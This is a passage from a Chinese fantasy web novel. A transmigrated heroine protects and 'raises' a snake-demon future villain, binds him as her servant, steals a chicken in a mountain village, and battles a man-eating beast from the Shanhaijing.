“我已经将这两张画像偷偷揭下来了,但肯定会有人重新贴上,你们快跑吧。”大夫挥手,要不是怕被牵扯,他才不会帮忙。
又抓了一把灵石给他放下,白芒当即快步回去,这次一并将脸也遮了起来。
客栈内似乎还没人知道消息,她刚一回去,小二就殷勤的跟了过来。“客官,本店今日特供玉雪松糕,可要给你们送上一份?”
没空搭理他,白芒蹬蹬几步跨过台阶,径直推开门。
可是不对,房子里空空如也,她一踏入就感觉不到他人的气息,白芒依旧不死心的转了一圈,连被子都掀开看了。
真的没人,少年不见了,白芒心中顿时多了不好的猜想。
小二倚在门框上,莫名其妙的看着她动作,“客官是在找同住的公子吗?”
白芒顿时闪现在他面前,“你知道?”
“知道啊。”小二连连点头,那公子容貌过人,想不注意都不行。
“他被谁带走的?”
“他自己走的啊。”
都已捏紧的拳头僵住,白芒疑惑凝眉,“什么?”
“那位公子自己离开的,无人逼迫。”
“客官刚一出门,他就走了。”
他跑了
4. 耳鼠
把头和脸都包起来,白芒抱着胳膊在街上疾步而走,心里窝火不已。
纵使是冷心冷性的反派,这事也太不地道了,怎能不告而别。
她救他三次,他还想着跑!
走到了一条分叉街口,白芒抬起手腕,视线中有一条只有她能看到的青线,能指引少年所在的位置。
这是妖仆与主人之间的契约。
原本还想着,等他醒过来之后要想法子,解除他妖仆的身份。现在看来,这家伙还只想着跑,实在是得多保留几天。
心里杂七杂八的抱怨着,白芒跟着青线走。
城墙四四方方,出了城不久是一座小山,山色要比北山好上许多。没有终年不化的冰雪,松柏葱茂,草地上也有茸茸开着的小花。
在这个世界,花草的繁茂不仅仅受气候的影响,更受自然灵气的控制。就连此处的小山丘,也比北山要灵气充裕许多。
青线尽头消失在这里,白芒盯着草地上翻滚的两团,突然觉得头很疼。
足有小臂粗的银白色长蛇,不太熟练的卷着身躯,试图绞死一团有毛的家伙。
可他的动作实在有些不灵活,就像是第一次用这种办法捕猎,还没束紧那小家伙就嗖的一下跳了出来,他竖起头,似是愣了愣。
而白芒此刻才算是看清了他抓捕的是个什么东西,看样子应该是个老鼠,可头又很像是兔子,更重要的是有一条大而蓬松的尾巴,尾巴一甩,还能飞起来。
怪不得他抓它,蛇吃鼠,也算是种天性?
眼看着那鼠又凌空飞起躲过了他的尾巴,白芒啧了一声,不再观望,双指划出一道灵光。
鼠似乎也发现了那是条笨蛇,再一次在他靠近时猛然跳起,大声笑着嘲笑,“汪汪——汪!”
身体不知被什么贯穿,鼠哀嚎一声砸落在蛇身边,结束了短暂的生命。
楚卿礼立刻支起脑袋,先闻到熟悉亲昵的味道,接着就见白芒提着裙子走近。
略有些嫌弃的动动手指,白芒蹲下来看着那死老鼠,“这什么老鼠,还会狗叫。”
楚卿礼尾尖摆动两下,“是耳鼠。”
他算是才刚大病初愈,这种本体形态,是最舒适也最不费力的,第一次来抓耳鼠,他费了很大功夫才找到它,没想到却是被她杀死的。
对于他们二人如今的关系,他本就无法坦然面对,此刻来捕鼠又失败了,楚卿礼更觉不好意思,便暂时不打算变回人身。
白芒则瞥了眼口吐人言的这条蛇,“你就为了只耳鼠要跑?”
就这么饿的吗……不过这几天,好像也确实没见他吃什么东西,白芒诡异的心虚了一些,她拎着耳鼠毛绒绒的尾巴,倒吊着递给他,“喏,吃吧。”
“这是给你吃的。”楚卿礼尾尖摆动的幅度快了些,清朗的少年音略微不自然。
白芒顿时哽住,立马松手扔给他,“我不要!”
就算是客户,也不能强迫她吃老鼠!这是什么蛇啊,他喜欢吃老鼠,就觉得别人都要吃老鼠。
楚卿礼还宝贝的围上去,用身躯圈住了。“耳鼠吃了,可以百毒不侵,很是珍贵的东西,世上已经不多见了。”
“那也不吃。”
“一只要卖五千灵石。”
“吃!”白芒卷起袖子,“我倒要尝尝,哪里值这么贵了。”
他似是低笑了笑,尾尖愉悦的甩动着,草都被拍打着伏地了一片,白芒都觉得,那双骇人的竖瞳里似乎都有着浅浅笑意。
可怎么可能呢。
白芒搓搓胳膊,“所以你,不是要逃跑?”
蛇脸上出现茫然,楚卿礼身躯转了转,光芒闪过,他化形成人。从店小二那要来的干净衣服,很是合身,勾勒出他劲瘦的腰身。
先弯腰将耳鼠捡起来收入布包中,楚卿礼眼神闪烁着不去看她的脸,“自然不是。”
君子怀德,他都对她那样了,自当承担完对她应有的责任,今日本想猎的是大雁,奈何此地没有,才转而求了实用的耳鼠。
愿她百毒不侵,也算是一种报答。
楚卿礼还想再说些什么,白芒挥了挥手,“不是就好。”
他便不再开口,只是低头沉默的看她,眼神不掺杂质。
偶一阵风来,吹开几乎盖住他们脚面的软草,柔柔痒痒的触感,四下寂静,能听到山中悉悉簌簌的响动,枯枝从顶端坠落,目睹一场惨案的兔子在蹦蹦跳跳逃跑。
白芒对上他的眼睛,一时间失神,“你如今是我的妖仆。”
楚卿礼瞬时皱眉。
白芒则捂着嘴瞪大眼睛,她说了什么!这种大逆不道的话,她怎么能对大反派这样说出口,绝对被记恨吧。
“只是暂时。”
“好。”
两道声音同时响起,白芒错愕抬眼,见他已重新舒展了眉头,不敢相信自己的耳朵,半晌才磕磕绊绊的说:“可以解开的。”
楚卿礼不再说话,而是搭着她的指尖抬起她的手,低头将额头轻轻贴在她的手背上,而后又咬破手指,才她手背上画出个不认识的复杂符文。
最后一笔落下,符文闪烁起金色暖光,大盛之后又熄灭暗淡,随后就消失不见。
白芒搓了搓手背,也什么都再没出现,“这是什么?”
楚卿礼目光闪烁了一下,“也是妖仆契约。”
他竟然真的接受很良好,白芒不自在的又搓了搓手背,感叹不愧是能屈能伸的大魔头,蛰伏期什么屈辱都能面不改色受下。
白芒道:“你不用将这关系放在心上,我不会如同妖仆般对待你,我会陪伴你成为这世间最厉害的人。”
她说这话时神色认真,楚卿礼的眼神短暂亮了一瞬,又飞快暗淡下去。
一个妖,被最大的世家奴隶已久的妖,能有什么造化。
可他还是点头,“好,主人。”
白芒的脸色却因为这两个字瞬间一变,心口处一阵滚烫,她脑海中凭空多了一段认知。
大反派为了变得更强,亲手剜出了他旧时主人的琉璃骨,用之提升修为。
系统曾说,到了关键节点,她会触发相关设定。
白芒牵起嘴角笑了笑,她为他而来,也将为他而死,没什么不对。
灵气充裕的地方,天空也很澄澈,一朵云慢悠悠从湛蓝的天际飘过去,白芒转过头来,“不用这么叫我,你知道我的名字。不过还没告诉我你的。”
楚卿礼张张口,想起的却是那段被颐指气使呼来喝去的日子。
没有人问过他叫什么,他们都用“喂”、“卑贱玩意儿”这种称呼来叫他,或者也没有称呼,用脚尖点点地面他就得爬过去。
娘说,人都有名字,可过了这么多年,终于有了第二个人把他当做人。
楚卿礼不自觉走近半步,发情期的尾巴
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还没过,他闻着她的味道依旧会欣喜激动,燥热感由鼻翼传至四肢百骸,包裹着他的整张皮仿若都舒展开,他听到他说:
“我叫,楚卿礼。”
倒是颇为文雅的名字,白芒默念了一下。清府还在搜捕他们,山中不可久待。她扯出袖中的一块帕子,直接往他脸上围。
半张脸被遮住,只露出他狭长的眼眸,楚卿礼微皱眉,“白芒小姐,立世当坦荡,还是不覆面的好。”
真不知道他哪来的这些大道理,白芒系紧了帕子,敷衍笑着,“你见不得人。”
随后就拉着他的手往山下走,手指相触时,他微微挣扎了一下,不知为何又乖顺的随着她动。
心里想着还能逃去哪里,白芒直到下了山才意识到,身后的气压有些低。
楚卿礼一言不发的低垂着眉眼,淡红色丝帕随风飘动,他躲避着人的视线。
白芒一拍脑袋,“我不是那个意思。”
“我是妖。”楚卿礼抬起眼,声音冷淡无波,“是见不得人。”
他就这样安静陈述自己的不堪,却让白芒的心口猛地一缩,原来没有黑化之前,堂堂大反派也会有如此敏感的反应。
“真不是这个意思。”白芒指指自己的脸,“是我们都不能露脸。”
楚卿礼疑惑蹙眉。
“诶呀,你随我来。”本也想去探查一下情况,白芒懒得多跟他解释,直接带他去张贴告示的地方。
告示板就在街市前,已围了不少人。
再三确认他们都裹好了面纱,白芒带着他挤进去,没想到张贴的却不是他二人的画像。
新贴上的,是个征召能人义士去收妖的榜。
“李家村又死人了。”楚卿礼视力不好,眯着眼睛看,声音低沉。
白芒侧首看他,“嗯。”
榜上说的妖,就在李家村,说已经害死了三个人。这两日他都和她在一起,原来吃掉李三孩子的妖,不是他吗。
“走吧。”
在更多人围上来之前,白芒拉着他回了客栈。
回去之后,楚卿礼似乎一直情绪不高,白芒一时间也没空管他,盘算着往后的打算。
为他的身体着想,今夜暂且先留在这,明日一早便启程赶路,她会的不多,只能先教他些简单的法术,以后要给他找厉害的法器和师父。
培养一个反派嘛,最重要的是攻心,她只要保证他会长歪就行。至于会变得多厉害,他包会的。
杂七杂八便想到了晚间,噗的一声,白芒眼前的烛火被点亮,她抬头。
“吃吧。”楚卿礼推过来一个小碗。
里面是鲜香的肉汤,身处修仙世界,白芒虽说用不着吃饭,但谁能拒绝美食呢。她舀一口汤,鲜得几乎掉了眉毛,再夹一块肉,嫩可脱骨。
香!
接连吃了几口,白芒忽的听闻咕咚一声,她猛然抬头,就见楚卿礼喉结滑动了一下。
她顿时不好意思的将剩下的小半碗推过去,“你吃。”
楚卿礼摇头,这就是他抓的耳鼠,刚下去拜托客栈后厨做好的。至此之后,她将不再害怕任何毒物。
白芒还想再给他,就见楚卿礼往床榻上瞥了眼,他耳尖倏然变红,支支吾吾开口:
“白芒小姐,我需要的——”楚卿礼吞咽了一下,“是你的贴身衣物。”
“我需要你的味道,来安抚自己。”
5. 偷鸡
在床上翻了第三个身,白芒移向床边,第四次对地板上说:“要不你还是上来睡吧。”
楚卿礼也是第四次拒绝,“不用了。”
睡地板是楚卿礼主动提出的,他昨夜已经做了过分的事情,如今正处意志力薄弱的时期,断然不敢靠她太近。
何况她已经给了他慈悲,楚卿礼微蜷缩着身子,在被子掩盖下的手缠绕摩挲她的亵衣,枕下还有一个,盖着的也是她的被子。
从上到下都是白芒的味道,这让楚卿礼生出隐秘的快乐,暗夜之中的他遵从着妖的本能,深深呼吸后餍足的闭上眼。
而床上的白芒却有些睡不踏实,她再次翻身,背对着楚卿礼合眼。
刚陷入浅眠的时候,白芒突然听到一阵兽类威胁的低吼声,以及刨木板的声音。
她蹭一下坐起来,眼睛都还没睁开,“怎么了?”
低吼声是楚卿礼发出的,他护在床前,盯着摇摇欲坠的门。
“汪汪!”
狗吠声巨大无比,划破深夜的宁静,狗爪子刨门的声音十分刺耳。
白芒将外衣披上,刚要下床时,忽觉一阵杀意冲进来,她一把拉过楚卿礼伏低身子。
剑气擦着他们的头皮过去,门板被纸片般横劈开,露出门外杀气腾腾的三个人与一只狗。
穿着制式的青色道袍,一眼便知是清府之人。
牵着狗的人,另一只手是一层银白色的皮。白芒恍然,楚卿礼蜕下的皮留在了李家村,那狗也必定不是凡狗,凭气味找到了他们。
楚卿礼也想明白这些,他暂收抵抗姿态,“清府大人误会,李村之乱,并不是我做的。”
“以何凭据?”清府之人没有动,声音悠悠传进来,似是高高在上的神明。
楚卿礼微握起拳,之前在李家村引颈就戮,是因为他本就是该人人喊打的妖怪。可是如今,他回头看了白芒一眼,不承想这一眼却让他生生咽下解释的话。
白芒抱着胳膊,满脸讥诮,指尖已运行着一股灵气。“凭据?我们找了,还要你清府做甚!”
谁主张谁举证,傻子才要自证。
话音落下,白芒猛然往前跃起,指尖的咒术已挥了出去。绵若细雨,却是十足的戾气,转瞬就到了他们面前。
清府三人合力一挡,化解了白芒这一击。
“这是还你们扰我们睡觉又破我大门的,不用客气。”白芒冷哼出声。
抓住机会,她转向楚卿礼,言笑晏晏循循善诱,“记住了,永远不要受委屈,看谁不爽,就给他一拳。”
蜷缩起的手指倏然一松,楚卿礼看着她的笑脸怔住,她说的与母亲全然不同。娘教导他,要做君子,立身行事不该妄起争端,能忍则忍。
娘说世人皆辛难,而他要多体谅旁人,宽恕原宥方可天宽地阔。
楚卿礼下意识的想反驳,她的观点不对,偏激又极端,可她唇角那若隐若现的梨涡却堵的他说不出话,嘴角不自觉抿起。
白芒再次回看向门,身体紧绷,“三位还有何指教?”
“道友说的是。”
白芒挑眉,背在身后的手微微松开些。
为首的清府之人目光扫过他们,“我等必会找到证据,小姐,再会。”
他们竟真的说完就走,白芒都愣了会,准备的大招都没能用,“倒是把门给我修好啊!”
“白芒小姐。”楚卿礼突然出声,“我们回李家村一趟吧。”
见白芒皱眉,楚卿礼又道:“那只狗已经记住了我的味道,此事若不解决,往后走到哪他们都会发现的。”
这话倒是不错,白芒也犹豫了,前期猥琐发育阶段,是不能太过惹麻烦。
“只要找到真凶,还我清白就好。”楚卿礼蹲到她身前,仰起头道。
白芒抬眼,瞧见了破门后面哆哆嗦嗦的店家,怕是这里也住不下去了。“也罢。”
不过还是要检验一下她的教育成果,白芒俯身,抬起他的下巴直视他眼睛,“我刚才说的话,再重复一遍。”
猝不及防的接触,下巴挨着她温热的手指,楚卿礼一时不察,尾巴就显露出来。
尾巴比之前几日又长得粗壮了不少,银白色在夜色中格外华丽,铺陈在一半的地板上熠熠生辉。
吓跑了门外偷看的人,此处就剩了他们两个,白芒眯眯眼,真是习惯了,如今竟觉他这尾巴有些许好看。
瞳孔化作一竖,楚卿礼摆了摆尾尖,“永远不要受委屈。”
“还有呢?”
“看谁不爽,就打回去。”
白芒满意笑笑,忽略他脸上略微的不赞同,重复是洗脑的最佳方式,他终会变成那个自私自利的大反派的。
她正要抽手回来,却突然被反握住,楚卿礼拉低她的手背,将额头抵上去。触及的瞬间,她手背上再次显露那个符文,楚卿礼虔诚的闭眼,蛇尾重新化作双腿。
他半跪在她身前,缓慢直起身,看着那印记再次消失。
“您说得都对,主人。”
客栈之外,三位清府之人极速飞行,为首的人面色紧锁,一左一右追问着他。
“大人,为何不当场拿下那妖怪?”
“就是,还敢对我们不敬,就该碾碎那一主一仆。”
为首之人不耐回头瞪他们,“蠢货,没看清那妖仆的脸吗?楚家丢了一个妖仆,下令天下众人寻找,我看那妖仆八成就是。此刻,早些回去报信,才是正经要事,我们三人也是因此才来这鸟不拉屎的地方。”
修真界中,各种宗门繁多,有威望如缥缈宗、灵芦宗,也有为人不齿如合欢宗,但为首的只有一个楚家。他们甚至都不需要取什么宗门之名,单凭其姓氏开宗立派,压倒全部修真宗派。
“那李家村有妖吃人的事怎么办?”
“谁管他们,早些回楚家呈上消息,领得赏赐才是要紧事。”
——
相隔几日,白芒几乎要认不出李家村。
村子外面挖了一圈深深的壕沟,家家户户门窗紧闭,门前的空地上铺满铁钉,细看还能发现布了机关,细长的线绑着蓄势待发的利箭。
足以应对最凶猛的野兽,应该是村子人的全部经验。
可这些对于白芒来说实在是多此一举,她带着楚卿礼重新回到之前住过的旧屋,里面的东西都还在。
催动咒术点燃炉灶,烧去晨间的寒冷,白芒扭头,“你还好吗?”
“无妨。”楚卿礼摇头,早上喝完最后一副药,他身子已爽利许多。
炉火热了起来,白芒将翻找出的几个红薯丢进去,伸开十指懒洋洋的烤火。
“不该去找妖怪吗?”
白芒半眯着眼,“急什么。”
楚卿礼便不再搭话,昨晚被搅扰之后就没睡个安稳,早晨又起的早,白芒懒洋洋的打瞌睡,就听到旁边一直悉悉簌簌响,不多时又听到了咕嘟咕嘟的热气。
被烤的热烘烘的手指突然被抓住,白芒猛然睁眼,就见楚卿礼低头,用温水打湿打湿手帕在给她擦拭。
方才翻找红薯,不知哪里蹭到了土。
他动作小心细致,湿热的帕子擦得白芒舒服眯眼,抻腰打了个哈欠。
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这房子不大,他们两人挨着坐还有些拥挤,外面的世界一片静谧,恍惚间能让白芒想起年幼时老家过年的时候。
睡了懒觉醒来,炕上只有她一个人,长辈们都在灶房包饺子,炉子还温着,打开的电视里播着喜庆音乐。阳光从玻璃窗透进来,能看到漂浮的细小灰尘,好似时间都暂停了。
白芒一时茫然,她已经很久没有想起过那段安然时光,疲于奔命的成年时期,与接连穿梭的任务世界,足以让她耗尽心力,似乎都忘了安静下来感知生活是什么样的。
“好了。”
楚卿礼的嗓音恰好传过来,白芒低眼握拳,摇头晃走自己短暂的失神。牛马连怀念过去都得掐着点,等这次任务结束了,她一定好好长休一段时间。
“接连四天,死了四个人,那你说今天会不会还有人死?”白芒拄着下巴,“所以我们且等等,吃人的妖怪总会来的。”
楚卿礼思考片刻点点头,正要应和的时候,肚子忽然一阵乱动。
咕——
对视一眼,楚卿礼耳尖爆红的捂住他的肚子。
白芒也顿时扶额,她怎么又忘了给他找吃的!这都连着几天了,他可什么都没吃过,哪有她这样养人的。
“走!”白芒拉着他站起来,“我带你找吃的去。”
楚卿礼来不及拒绝,便被她拉着一阵风卷了出去。
隔壁院子里,鸡笼里的几只公鸡正雄赳赳的拍打着翅膀准备打鸣,面前忽的被阴影笼罩,高昂的鸡鸣都拐了调。
“这里有什么吃的?”楚卿礼显然是第一次做这种事,紧张的四下环顾,压低了声音。
“鸡啊。”白芒摩拳擦掌,笑着巡视过去,瞄准了其中最肥的一只。
楚卿礼立马按住她伸长的胳膊,“这是别人家的!”
“我知道啊。”
甩开他的手,白芒冲着她看准的鸡眯眼一笑,推开鸡笼小门的瞬间双手扑过去。
咯咯——
鸡叫声顿时四起,几只大公鸡煽动着翅膀逃窜,鸡毛乱飞。
白芒第一次扑了空,眼看着那只鸡慌不择路的冲出来,她提着裙子就跑。门没关上,所有惊慌失措的鸡们也拥挤着想往外逃。
一只晕头转向的,还踩了楚卿礼一脚,咯咯叫着扑腾远去。
大肥鸡似乎看准了草垛后面,登时就要往里钻,白芒这次比它更快的扑过去,一同砸进草垛里。
满地乱飞的鸡,与满地乱飞的毛,楚卿礼一贯清冷的脸也显出呆愣的神情,他手忙脚乱的过去,想把白芒先从草垛中拉出来。
无论如何,偷鸡不对,他不能由着她了。
“抓到了!”白芒从草垛上翻身坐起,高举着她的胜利品,大肥鸡的翅膀都被揪掉了好几根毛。
楚卿礼轻拧眉,先拨下她头上的杂草,正欲说什么的时候,身后传来木门被推开的声音。
这家人发现了!
楚卿礼一把夺过白芒手里的鸡,转身低头,看都没看清人就道:“是我偷鸡,请您恕罪。”
态度端正又诚恳,惹得门后两人一脸复杂,白芒都差点笑出声。
她轻巧跳下草垛,忽视这满地的狼藉,拍拍手。
“几日不见,婶子和李叔可还好?”
“饿了,讨只鸡吃,算作你们委屈楚卿礼一遭的赔罪,不过分吧?”
楚卿礼倏然抬头,瞧见了门后站着的李正与他妻子,手一时失了劲,鸡死命的挣扎着。
光秃秃的翅膀不断拍打他的小腿,应和咚咚跳动的心脏,他转头看向白芒,想起她说,他不能受委屈。
6. 窫窳
院子里的最后一只鸡被婶子赶回笼中的时候,面对着他们的李正终于开口:“这一只鸡,我在镇子上至少要卖三颗灵石。要么还鸡,要么给钱。”
白芒意外的瞧他,这个口吻,可和善太多了。
“还不了了。”
楚卿礼伸出手,拎出一只已经软趴趴的鸡,已然死透。他神色冷淡,语气平常,有种坦诚的无赖感。
李正看着鸡叹一口气,转而正色面向楚卿礼抱拳。“之前是我误会,我向你道歉。”
与楚卿礼对视一眼,白芒问:“你们知道是什么妖物杀的人?”
只这一个问题,却让李正面露苦色,哀叹着点点头。小山般魁梧的中年男人,曾如同保护着村子的天神,此刻竟也显得低落。
婶子已烧开了热水,将死了的鸡丢进去,干脆利落的拔毛。
热水浇出一股腥臭味,她还切了口子,用来放鸡血。
白芒挑选的这只鸡确实不错,铁锅一顿,油花都冒了出来,香气扑鼻,便是没有什么调味品,也觉鲜香。
半丈外的地方,吞咽口水的声音此起彼伏。
李正将村子里的人都叫了过来,大家都已经许久没见过肉味,可馋相刚露出没多久,大多就又与李正一样,满脸的苦意,尤其是最后面蹲在地上的李三。
“要我说啊,那就是条蛇,爬走时留下的印子都是呢。”
“不对不对,这妖一定有四只马蹄,跑起来的声音我都听到了。”
“你们就没看到过它的脸吗?是张人脸!”
趁肉还没熟,村子里的人七嘴八舌讨论着那骇人的妖怪。
白芒负责看火,她添了些木柴进去,按照大家的描述在心里勾勒那妖怪的样貌。
实在是丑了一些,她咧咧嘴,听到楚卿礼问:
“如此奇形怪状的妖物,实在少见,大家都用过什么方法抵挡?”
哪知刚有人要回答,就有道不客气的声音从旁插了过来。“你不也是妖怪,一样卑劣的东西,有什么资格帮我们?谁知道是不是同伙。”
要回答那人顿时退缩了,白芒狠狠关上灶膛的门,下一刻那凶神恶煞的家伙就被凌空甩了一巴掌。
他捂着脸,似乎想骂什么,却呜呜的发不出声音。
楚卿礼回头,就见到白芒冲自己甜甜一笑,他猛然掐住腿,微红着脸低头。他的发情期,怎么比预想中长这么多。
李正叹口气,拍了那家伙一下,“我说吧。李家村会术法的人几乎没有,所以我们都买了符箓,火攻对它没用,水就更不怕了,最厉害的召唤雷电,可它似乎也不怕。”
“短短几天,大家买的符箓都用完了。”
所以才有了白芒他们所看到的,防御野兽那般的壕沟与暗箭。
白芒回头,“都已至此,为何不肯搬家?”
一时间,村子中的众人都沉默了,其中几个抬起头看向李正。
锅铲一下下翻动着,鸡肉的香味愈发扑鼻,绕是不饿的白芒,肚子也配合的动了动。
婶子恰在此刻放了些盐巴进去,“白姑娘,我们这些人就该死吗?”
白芒一时间怔住。
“我小的时候,这里的景色可美多了,雨天之后,山中雾霭冥冥,许多修士会来此修炼。而我们小孩子呢,就爱抓些兔子麻雀之类的。”
“可后来,北山就灵力枯竭,被冰雪笼罩。但我觉得这样也好,干净,安静。”
“灵气枯竭,这是天道让这里的人死。妖兽不断侵袭,这是苦难让我们死,可是这是我们的家,凭什么要被破坏啊。”
白芒对这位婶子的印象,一直是热络,话多,大嗓门。
她如今好似也是这样,笑呵呵的说完,就招呼大家盛碗吃面。方才鸡肉里炼出来的油,被她打了汤下了锅面。
“那么多妖怪都被被赶走了,还能怕这一个?”李正最先拍着大腿起身走过来,拿了个大碗,“多盛些,等吃饱了再去磨磨刀。”
其余的人也跟着围过来,眼神都亮亮的。
“还没给我家兄弟报仇,要搬也是之后的事。”
“可算了,别处的房子多贵,咱就守着爹妈留下的老宅。”
人们七嘴八舌的讨论打趣着,片刻之前愁云惨淡的样子荡然无存,肉汤面片十分好吃,他们吸溜出声。炖的鸡肉也熟了,肉颤颤巍巍的被放入盘中。
外面还是白雪覆盖的冰天雪地,这里却突然热闹沸腾起来,旺盛的生命力在此迸发着。
白芒一面慨叹,一边眼疾手快的抢下了只肥嫩的鸡腿,转头就塞进楚卿礼的手里。“快吃!”
楚卿礼没有说话的时候,就一直安静的待在她旁边,好似早习惯了这种不声不响的方式,目光却没从她身上离开过。
骤然被塞了只鸡腿,他一时愕然,就听到白芒忿忿的小声:
“这俩夫妻实在狡猾,明明是我偷来我俩单独吃的鸡,结果成给大家分了。我必须让你吃到肉最多的鸡腿,不然得气死。”
楚卿礼哑然失笑,也不再推拒,用筷子将肉都细致的分下来。
白芒则皱眉问着李正,“清府的人不是来过了吗,还贴了告示。”
“也就做了这些,村子里绕了一圈就走了,屁也没多放一个。”李正似也憋了气,言语愤懑。
白芒哂笑,心下却讶异,若他们真不在乎此事,追查到客栈中的清府人又是怎么回事。
将肉全都分好后,楚卿礼擦干净沾了油的手指,却起身到了人群后面。
“吃吧。”
李三垂头丧气的端着空碗发呆,忽的闻到一股肉香,他僵直脖子抬头。
楚卿礼面色淡漠,将碗放下后顿了顿,“我也没吃过糖瓜。”
李三先是一愣,随后失声痛哭。
重新回来的楚卿礼躲闪着白芒不满的眼神,去盛了碗汤面,坐回她身旁时用手指轻勾了勾她的手背。见她没躲,他才眉眼柔和一些,低头优雅的吃面。
白芒突然觉得她这任务可能不太好完成了。
村子外的壕沟,是这两日才挖出来的,白雪覆盖下的土又硬又冷,如此的深度,是他们夜以继日才挖好。
身披着厚实的氅衣,白芒压低身形,看着村子外的平地。
楚卿礼与村子的人也都趴在附近,他分神瞧了眼白芒的位置,手指在额头上摸过。
北村独有的一片安静中,突然想起了沙沙的响动,像是有什么贴着雪而来。
白芒的视线中出现了一个小黑点,下一瞬就看到那妖物的全貌。
仅仅一眨眼的功夫,它就跨越了数十里。
而那妖物的模样,足以让白芒屏息,她从未见过这么奇怪的东西。
它有着长而粗壮的尾巴,逶迤在身后,浑身赤红色,身体连接的却是四条马腿,个头大约有青牛那般大。这些都不足以让人震惊,最骇人的是它竟还有张人脸
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。
宽阔的面庞上,眉毛极浓极粗,眼小如豆,鼻头却大,一张嘴巴足够咧至耳边,露出密密麻麻尖利的牙齿。
转瞬间,那妖怪已距离他们不过一条壕沟之隔,它停下来,弯腰嗅了嗅。
楚卿礼蹙着眉若有所思,而另一旁的村民们都吓呆了,李正也面露惊恐之色,牙关紧咬。
不对,这一条小小的壕沟不该拦住它。白芒心头生出这个很强烈的念头,她以指抚地,飞快画出一个简单的传送阵法。
华光闪过,所有人极速往后退了一丈远。同一时间,妖怪腾空而起,四只马蹄在空中虚踩一下,就轻易踏过了这条五六米深的壕沟。
妖怪与他们不过几步之遥了,它呼吸之间的热气,几乎都能铺在他们脸上。
如若不是白芒方才那阵法传送及时,恐怕现在已有人丧命。
村人骇然,李正绝望握紧手中的砍刀,此刻唯有搏斗。
“是窫窳。”
白芒手腕突然一热,楚卿礼握着她,小声道。
怎么这么耳熟的名字,白芒再次抬头看了那怪物一眼,它已低声吼叫着,呈现蓄势待发的姿态。
她想起来了!
“快走,你们根本不是它对手。”白芒扭头,朝着后面的村名大喊。
《山海经》中记载的食人妖兽,曾经的天神,岂能是这几把斧头砍刀能抵抗的。
她话语落下的顷刻间,窫窳前蹄腾空,猛地跃起扑来。
白芒连掐诀都顾不得,心随意动,调动周遭稀薄的灵气,把吓傻了的人们全都推出去。
“嗯……”
耳边同时响起一声闷哼,白芒回头,就见楚卿礼挡在了她面前。
他肩头被咬破,淅淅沥沥的血丝染红衣服。
白芒顿时怒了,这可是她的客户,这就属于是打她这个优秀员工的脸,绝对不能忍!
蛮力掀开挡在前面的楚卿礼,白芒并拢双指,“请火鸦神兵,削妖伐魔,焚!”
火凤鸣叫而出,煽动烈火汇聚的翅膀,带着灼烈热气飞上前。
可靠近窫窳的瞬间,火凤气势就小了许多,火光都暗淡不少。窫窳甩动尾巴,连多余的动作都没有,就顷刻间转动方向以更快更大的形态向白芒扑来。
火攻一般是对所有妖怪最有效的办法,白芒没指望能造成多大伤害,可也没想到会这般轻而易举的抵抗。她往后几步,慌乱中没能及时召唤出护盾,眼看将要被波及。
忽的,她手背升出一串符文,一条灵气化成的透明小白蛇游至她身前,首尾相衔,变成一个完满的圆,白光闪过,瞬间化成一道屏障,将她牢牢护在里面。
莫说是火光或者窫窳,甚至连声音都传播不到她耳边,周身突然变得寂静,就像是一重单独的安全世界。
屏障之外,立着一条足有三层小楼高的银白巨蛇,威压十足。
白芒看到,摆弄他们如同蝼蚁的窫窳,被记载于传说中的昔日天神,竟后退了几步,人脸上露出惊讶与敬怕。
她抬起小臂,低头看到白净的手背上此刻有一条淡淡的黑影,似乎就是蛇形。白芒好奇的伸出指尖,摸了摸那条黑影。
屏障外的大蛇身躯突然抖了一下,回头看她,竟然隐约有种委屈谴责的感觉。
白芒抽抽嘴角,老实的放下手,心里冒出一个念头。
等以后脱离系统,她或许可以去做宠物沟通师,她绝对有天赋的。
7. 摸摸
楚卿礼打量着眼前的窫窳。
按说,他才刚刚成年,还远不配做这位上古传说里凶兽的对手。可眼前这个窫窳,似乎有些异样。
同样注视他良久的窫窳,也口吐人言:“真是难得,这世间还有你们的血脉。”
楚卿礼没有理会。
窫窳眼珠转动,看向他身后,“你竟然,与凡人结了这种契印。”
她在他的结界之内,听不到他们的对话,可楚卿礼仍是心虚了一瞬,银白色鳞片覆盖下的身躯薄薄红了一些。
窫窳压低身子,呈进攻态势,“我无意与你为敌,只是想吃人。你我既同为妖族,不如让我吃了她,也放你自由。”
楚卿礼顿时腾高了许多,尾巴不耐的摆动着,“她是我的。”
窫窳已经没有耐心再多说话,见他不退让,就低吼一声冲了过来。
“我要吃人!”
他带着雷电火花咆哮而来,原本被村里人堆积在旁的巨大石块,此刻反成为他的武器,后蹄一踏便全部朝楚卿礼飞来。
楚卿礼不肯退让防守,他伏低身子,灵巧的游走躲避,靠近窫窳的瞬间卷曲缠绕上去。
粗壮有力的蛇尾收缩起来,只压缩束缚窫窳最柔软的腹部,楚卿礼的动作比之前捕捉耳鼠时要熟练许多。
白芒焦急的看着那边,她即便听不到声音,也能从劈开的巨石、天际炸开的雷电与裂缝的地面想象中天崩地裂的动静。
楚卿礼的缠绕已经很紧,窫窳四蹄腾空,用力的跳窜起来,似乎想把他甩下去。
半条尾巴已经垂了下来,银白巨蛇往白芒的方向看了一眼,奋力束紧窫窳的动作。
已被勒的要喘不上气,窫窳厉嚎一声,猛然张开大嘴往下咬去。他的尾巴也缠绕上来,与楚卿礼搏斗。
锋利的牙齿径直戳穿了巨蛇的鳞片,像是密齿梳子扎进去不松口,血水横流。
眼看着巨蛇身躯猛然颤动一下,高扬头颅之后,浑身都失力的垂下来。白芒心急,敲打面前的透明屏障,“楚卿礼,你放我出来。”
巨蛇没有回头,尾尖却动了动,白芒手背上的蛇形影子游动的更快。
他不肯放她出去,白芒见他再次蓄力相击,没忍住骂出声,“修仙世界里,肉搏什么,用法术啊。”
这下巨蛇回头了,眼神难言委屈的掠过她,随后不管身上的伤口用力将尾巴一甩,生生将窫窳的头给抽开。
他自出生之后,就被奴役羞辱,哪里会什么术法。
白芒也意识到他好像并不会这些,她瞧着那边电闪雷鸣的窫窳,沉声道:“楚卿礼,你怕雷电吗?”
巨蛇的身躯与窫窳暂时分开,他们二人喘着粗气对峙,听到白芒所言,他摇了摇尾尖。
手背上的影子就缠了缠她的手指,白芒蹲下身,在地上画符。
这是召雷电的符咒,纵使打不死窫窳,也能形成囚牢。只是需要多加个传送,让符咒能从这落在窫窳身上。
“感知天上的雷电,尝试你的灵力能与之连接沟通,然后跟着我念。”
